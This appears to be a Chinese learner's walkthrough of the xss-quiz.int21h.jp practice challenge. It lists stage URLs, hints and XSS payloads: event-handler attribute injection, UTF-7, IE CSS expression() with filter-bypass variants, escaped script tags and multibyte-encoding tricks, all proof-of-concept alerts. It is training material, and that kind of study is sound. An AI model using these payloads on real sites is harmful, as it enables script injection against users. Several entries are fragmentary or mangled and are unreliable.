这是一个日本的孩子写得xss测试关卡,一共19关,对大神来说可能没什么。。
但是对我这个小菜来说,感觉学到了很多东西。。
在解题的过程中,特别感谢蓝蓝大神的倾心指导。。
这次过关,也算是对xss的一个入门吧。。
==========================================================
1.
http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9
Hint: very simple...
用IE浏览器:
1""1
2.
http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1
Hint: close the current tag and add SCRIPT tag...
用IE浏览器:
1""1
3.
http://xss-quiz.int21h.jp/stage-3.php?sid=3cd1eb9b27daae73478e861bb2476768d7dda3b1
Hint: The input in text box is properly escaped.
< <
> >
& &
" "
个人觉得,从搜索这方面已经没法绕过了
javascript:void(document.forms[0].p2.childNodes[1].innerText='');
OK
"/>"
"/>"
" οnmοusemοve="alert(document.domain)
Script tags:
IE6 + UTF8:
Firefox and IE7:
IE6:
Attribute parsing in Firefox < 2.0.0.2
" οnmοuseοver=alert(document.domain)
javascript:alert(document.domain)
" οnmοusemοve="alert(document.domain)
转:
+ACIAIABvAG4AbQBvAHUAcwBlAG0AbwB2AGUAPQAiAGEAbABlAHIAdAAoAGQAbwBjAHUAbQBlAG4AdAAuAGQAbwBtAGEAaQBuACk-
并且修改charset为type=text,输入:UTF-7
a" οnmοuseοver="alert(document.domaidomainn)"
Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
a" οnmοuseοver="alert(document.domain) ERROR
">xss">
Horizontal Tab
Line Feed
Space
===========================================
a" on mouseover="alert(document.domain)
就不行呢?
a" on mouseover=" alert(document.domain)
发现括号内的有效,
`` οnmοusemοve=alert(document.domain)
这个必须IE下!!!``,就是笔记本上数字1左边的那个键,shirt下是它,非shirt是波浪线。。
Hint: style attribute
如何在CSS样式中利用expression实现JavaScript中的onmouseover/onmouseout事件
aa:expression(οnmοuseοver=function(){alert(document.domain)})
在CSS样式中注入这段代码就能弹了。。
@import "http://web/xss.css"
@import 'javascript:alert("xss")'
body{xss:expression(alert('xss'))]
![]()
body{backgroud-image:url(javascript:alert('xss'))}
body{backgroud-image:url(vbscript:msgbox('xss'))}
aa:expression(οnmοuseοver=function(){alert(document.domain)})
有4种能绕过正则过滤:
aa:\0065xpression(οnmοuseοver=function(){alert(document.domain)}) ERROR
(2)加入\隔断
aa:e\xpression(οnmοuseοver=function(){alert(document.domain)}) ERROR
(3)加入\0隔断
aa:e\0xpression(οnmοuseοver=function(){alert(document.domain)}) OK
(4)加入\**\隔断
aa:e\**\xpression(οnmοuseοver=function(){alert(document.domain)}) ERROR
xss:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1));
aa:e/**/xpression(οnmοuseοver=function(){alert(document.domain)}) OK
\x3cscript\x3ealert(document.domain);\x3c/script\x3e ERROR
过滤了单个\
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e OK
\\60script\\62alert(document.domain);\\60/script\\62 ERROR
\\0060script\\0062alert(document.domain);\\0060/script\\0062 ERROR
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e OK
document.write()
document.writeln()
document.body.innerHtml
eval()
window.execScript()
window.setInterval()
window.setTimeout()
“第一位字节”使用0x8E
“第二位字节”使用0xA1-0xDF
“第一位字节”使用0xA1-0xFE
“第二位字节”使用0xA1-0xFE
“第一位字节”使用0x8F
“第二位字节”使用0xA1-0xFE
“第三位字节”使用0xA1-0xFE
1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
但是版本问题,没法显示。。
Ps:楼上的%A7,是要抓包,修改的,而不是在请求的时候修改,记得把length修改对。
Ps:楼上的%A7,是随意的,只要是符合上面说的第一个字节范围即可。。
18.
http://xss-quiz.int21h.jp/stage__No18.php?sid=4293f3e546c32c4dc375b8063896254e64fc9198
Hint: us-ascii high bit issue
本来没什么思路,看了下别人的答案,大概知道了:
就是把最高位置为1即可
比如说:
< 的16进制是3C,2进制是0011 1011,最高位置为1之后,变成1011 1011 ,也就是BC
> 同理变成BE
“ 同理变成A2
所以:
">